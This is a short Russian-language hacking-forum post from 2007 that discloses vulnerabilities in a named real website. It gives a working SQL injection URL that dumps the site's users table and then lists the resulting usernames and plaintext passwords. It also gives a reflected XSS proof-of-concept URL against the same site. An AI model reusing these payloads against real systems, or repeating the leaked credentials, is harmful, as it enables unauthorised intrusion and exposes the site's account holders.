27.03.2007, 22:24
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
Провел на форуме:
2924346
Репутация:
1719
|
|
мб было, но..
Код:
http://www.biosens.ru/index.php?res=folder&rec=-1+union+select+1,concat(login,0x3a,password)+from+users/*
* admin:admin
* news:111
* news2:222
* birth:birth
* Andrei:4444
* Kirimov:kir251
там же пассивная xss
Код:
http://www.biosens.ru/index.php?res=folder&rec=%3Cscript%3Ealert(/xss/)%3C/script%3E
|
|
|